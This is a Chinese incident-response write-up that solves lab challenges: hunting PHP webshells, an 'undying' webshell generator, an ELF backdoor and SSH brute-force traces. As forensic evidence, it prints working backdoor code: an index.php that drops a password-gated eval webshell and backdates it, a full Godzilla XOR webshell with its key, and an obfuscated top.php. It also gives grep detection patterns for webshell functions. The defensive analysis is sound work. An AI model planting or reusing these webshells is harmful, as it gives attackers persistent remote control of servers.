1.web目录存在木马,请找到木马的密码提交
2.服务器疑似存在不死马,请找到不死马的密码提交
3.不死马是通过哪个文件生成的,请提交文件名
4.黑客留下了木马文件,请找出黑客的服务器ip提交
5.黑客留下了木马文件,请找出黑客服务器开启的监端口提交
根据提示,我们已知web
目录存在木马,需要我们上机排查;但我们上机排查时应该确定什么信息呢?**web 服务是什么环境,php、java 还是 net 呢?**进入到web
目录,我们可以看到php
的文件,再加上服务器开启的apache
服务,可以确定是php
环境的web
服务。
上机之后,我们通过服务器安装的组件和 web 目录下的文件,确定服务器的环境为php
,这里我们就使用php
环境下的处理方式,先将 web 目录下载下来
在实际现场中,我们需要保障时效性的,如现场无商业版自动化工具,经过客户同意,我们可以使用个人版的自动化工具,比如说 D盾、河马,如不可以只能手工进行关键恶意文件排查
D盾扫描结果
使用 D 盾扫描之后,我们发现存在四个可疑文件
河马扫描结果
使用河马 WEBSHELL 查杀,这边我们也发现和D盾差不多的扫描结果
自动化查杀可疑文件
.shell.php
1.php
1.tar
index.php
疑似后门
html\include\Db\Sqlite.php
html\include\Model\Spider.php
文件md5值计算,在前期就已经备份好文件,备份文件比对,在Linux中可以使用diff命令去比较两个文本文件的差异,diff -c -a -r test1 test2,这个命令会递归地比较test1和test2目录中的所有文件,将它们都当作文本文件,并使用上下文格式显示它们之间的差异
关键字排查
find ./ -name "*.php" |xargs egrep 'assert|bash|system|phpspy|c99sh|milw0rm|eval|(gunerpress|(base64_decoolcode|spider_bc|shell_exec|passthru|($_\POST[|eval(|file_put_contents|base64_decode'
查找日志的可疑活动,异常行为
grep -E 'POST|UPLOAD|eval|base64_decode|shell_exec' /var/log/apache2/access.log
根据情况调取文件短期改动分析
find ./ -type f -mtime -7 -exec grep -riE 'eval(|base64_decode(|gzinflate(|shell_exec(|system(|passthru(|exec(|assert(|popen(|proc_open(' {} +
这个命令会查找七天内修改过的文件,并且在这些文件内搜索webshell关键字
使用正则去匹配混淆代码
grep -riE '($[a-zA-Z0-9_]+ ?= ?("|')[a-zA-Z0-9+/=]+("|');)' ./
这个代码可以用于尝试匹配变量赋值中的base64编码字符串
这里我们使用关键字排查
root@ip-10-0-10-1:/var/www/html# find ./ -name "*.php" |xargs egrep 'assert|bash|system|phpspy|c99sh|milw0rm|eval|(gunerpress|(base64_decoolcode|spider_bc|shell_exec|passthru|($_\POST[|eval(|file_put_contents|base64_decode'
./.shell.php:
./index.php:$code = '';
./index.php:file_put_contents($file, $code);
./index.php:system('touch -m -d "2021-01-01 00:00:01" .shell.php');
./1.php:
经过排查,我们确定这三个为可疑文件,因为不知道具体的webshell
利用关键字,我们使用匹配的规则比较宽泛。通过文件的内容,我们可知,1.php
为一个单纯的webshell
木马,index.php
和.shell.php
似乎是组合
现在我们排查出了比较明显的木马文件,但是我们知道,在现在的后渗透中,经常伴随着不死马,内存马的持续利用,根据提示,我们排查不死马,已知是php环境
index.php
<?php
$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
system('touch -m -d "2021-01-01 00:00:01" .shell.php');
usleep(3000);
?>
这部分代码是创建 webshell 的关键。 $file = '/var/www/html/.shell.php'
;定义了 webshell 文件的路径。$code变量包含 webshell 的 PHP 代码。这段代码会检查 POST 请求中的pass参数的MD5哈希值是否匹配,如果匹配,就会执行 cmd
参数中的 PHP 代码。可以很明显的看出来是一个webshell后门 file_put_contents($file, $code);
将 webshell 代码写入 .shell.php 文件。 system('touch -m -d "2021-01-01 00:00:01" .shell.php');
修改文件的修改时间为 2021 年 1 月 1 日,应该是为了掩盖文件的创建时间。usleep(3000); 暂停脚本执行 3000 微秒(3 毫秒)。
当这个index.php
文件被请求执行时,会运行一次生成.shell.php
的操作
通过已知的这些信息,我们可以查询关于这些木马文件的 web访问日志,有可能获取到攻击者真实的 IP,获取到真实 IP,有利于我们进行反制和其他失陷主机的排查
入侵排查除了排查 webshell 文件外,我们还应该排查其他的后门文件、后门用户、定时计划、自启动项、外联 IP 端口等等、根据场景我们知道攻击者还留存有一个木马文件,我们可知Windows 下的可执行文件后缀为.exe,在Linux 下的可执行文件后缀为 elf,结合我们前期看 web 目录下文件时发现存在一个shell(1).elf
的文件,加上shell这个名称也比较敏感和我们之前发现的 webshell 名称相同,列为可疑文件,但是在我们排查外联端口 IP 时没有发现该进程,有可能是该木马并没有被触发,但是在客户现场的环境下,我们不可能直接去触发该木马,这时候就使用到一些云沙箱工具了,或者说我们自己放到虚拟机去自行执行,减少一个因为误操作造成的危害。
这边我使用微步云沙箱去检测,除了微步,其实我们还可以使用其他各大厂商的威胁情报平台去分析
通过云沙箱检测,我们可以确定这个文件为一个恶意木马文件,且外联 IP 为 10.11.55.21
,但是我们还想知道外连端口怎么办,那就用 360 的云沙箱,外连端口为 3333
还有安恒的云沙箱也很不错,这边还告诉我们是使用什么工具生成的后门木马
通过拿到攻击者的 IP 信息与使用的木马后门生成工具信息,有利于我们后续的一些应急与溯源反制
1.有多少IP在爆破主机ssh的root帐号,如果有多个使用","分割
2.ssh爆破成功登陆的IP是多少,如果有多个使用","分割
3.爆破用户名字典是什么?如果有多个使用","分割
4.登陆成功的IP共爆破了多少次
5.黑客登陆主机后新建了一个后门用户,用户名是多少
根据我们已知的信息,可知本次Linux 日志分析的内容主要是关于 SSH 爆破攻击的,关于 SSH 爆破攻击,我们需要关心的内容主要有那些 IP 在攻击主机的 SSH,有攻击成功的 IP 吗,攻击者的字典是怎么样的,攻击者是从什么时间线开始的,攻击者登陆成功之后都干了什么
已知是关于 SSH 爆破的,在 Linux 系统中,/var/log/auth.log
文件记录了与身份验证相关的所有活动,在当前路径下,我们看到了两个 auth.log
,关于这个 auth.log.1
文件,是因为系统的一个日志轮换机制,当日志文件达到一定大小或满足特定的时间条件时,auth.log 文件会轮转,旧的文件会被重命名为auth.log.1
,其他顺延
查看有多少个 IP 在爆破主机的 root 账户,登陆的关键词是 password for root
,我们需要 IP 和统计它出现的次数,构造命令
cat /var/log/auth.log.1 /var/log/auth.log | grep -a "password for root" | awk '{print $11}' | sort | uniq -c | sort -nr | more
cat 命令用于连接auth.log.1
和auth.log
的内容合并输出;grep
用于搜索文本中的特定模式,-a 代表将文件视为文本文件,"your keyword
"是搜索的模式,也就是日志文件内包含该字样的行;awk 文本处理工具,用于提取文件的字段,提取var/log/auth.log
文件中的第十一个字段,awk 默认使用空格作为字段分隔符;sort 命令用于排序,-n 按数值排序,-r 按降序排;uniq -c 用于进行一个去重,-c 参数表示计数,IP 出现的次数;more 用于分页显示长输出
登陆成功的关键词是 Accepted
,我们需要知道它的 IP,构造命令
cat /var/log/auth.log.1 /var/log/auth.log | grep -a "Accepted " | awk '{print $11}' | sort | uniq -c | sort -nr | more
攻击者使用的字典是怎么样的,构造命令
cat /var/log/auth.log.1 /var/log/auth.log | grep -a "Failed password" | perl -ne 'if(/for (.*?) from/){ print "$1\n";}' | sort | uniq -c | sort -nr
perl -n
表示会循环读每一行,-e 表示后面跟的代码是一个 perl 表达式,也就是它if(/for (.?) from/){ print "$1\n";}
,for 和 from 是一个固定的字符串,当遇到匹配的就会输出他们中间的内容,也就是这里(.?)
已知攻击者IP为192.168.200.2
,现在需要对他攻击线梳理一下,构造命令
cat /var/log/auth.log.1 /var/log/auth.log | grep -a "Failed password" | awk '{if($11=="192.168.200.2") print $11}'|sort|uniq -c
攻击者爆破了 4 次
现在来到了,排查攻击者留下的东西,后门用户,在创建时在 auth.log
存在一个记录,并且服务器上也应该存在一个账户管理表,可以排查是否有异常的账户
查找攻击者进行用户创建的记录
cat /var/log/auth.log.1 /var/log/auth.log | grep -a "new user"
检查/etc/passwd
内容
1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
2.黑客使用的什么工具的shell github地址的md5 flag{md5}
3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
4.黑客免杀马完整路径 md5 flag{md5}
已知web
目录存在木马,需要我们上机排查;但我们上机排查时应该确定什么信息呢?web 服务是什么环境,php、java 还是 net 呢?
服务器中存在我们熟悉的 apache
服务,且 web 目录下为 php
文件,可以确定是 php 环境的网站
在实际现场中,我们需要保障时效性的,如现场无商业版自动化工具,经过客户同意,我们可以使用个人版的自动化工具,比如说 D 盾、河马,如不可以只能手工进行关键恶意文件排查
在这一次的靶机环境中,无法下载 web 目录下来,固先进行手工关键字排查
root@ip-10-0-10-7:/var/www/html/include/Db# find /var/www/html -name "*.php" |xargs egrep 'assert|bash|system|phpspy|c99sh|milw0rm|eval|\(gunerpress|\(base64_decoolcode|spider_bc|shell_exec|passthru|\(\$\_\POST\[|eval\(|file_put_contents|base64_decode'
这里我们通过查询,发现几个主要的可疑文件,shell.php
我们可以看出是个很普通的webshel
l,其他三个文件就需要再深入研究一下
我们确定可疑文件之后,为了更加稳妥,将文件内容 copy 下来到让自动化工具扫描一下
D盾扫描结果
河马在线扫描结果
通过自动化工具扫描,更加证实了这些后门的真实性,现在我们先分析gz.php
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
//027ccd04-5065-48b6-a32d-77c704a5e26d
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
$data=encode($data,$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo encode(@run($data),$key);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
关键代码$data=file_get_contents("php://input");
,经典的PHP 伪协议;$key 等于 shell 密钥的MD5 值的前 16 位;这里用了哥斯拉的 PHP_XOR_RAW 加密器,还有一个隐藏文件.Mysqli.php
与gz.php
内容格式相同,也是哥斯拉的马子
使用安恒云沙箱,也可以检测出来这是哥斯拉的马子
分析完了两个哥斯拉的马子,还剩下一个top.php
,没有太明显的特征,用了base64
编码和XOR
加密
<?php
$key = "password";
//ERsDHgEUC1hI
$fun = base64_decode($_GET['func']);
for($i=0;$i<strlen($fun);$i++){
$fun[$i] = $fun[$i]^$key[$i+1&7];
}
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
?>
该后门利用的话,需要从 URL 参数中获取加密的恶意代码进行解码解密,xor
运算解密后,解密的代码会存储在$fun
变量中,通过动态生成函数名$c并执行解密后的恶意代码才能利用,在源代码中没有实际调用的过程。我对ERsDHgEUC1hI
这串字符串挺好奇的,尝试进行base64解密,解不出来,直接使用xor解密得到一个看不懂的字符串$!3'!%"B>
感谢阅读,如果师傅们觉得本文对你有帮助,还请帮忙点点“在看”和“分享”,让更多的人看到,如果各位师傅有什么建议或指正,请私信我。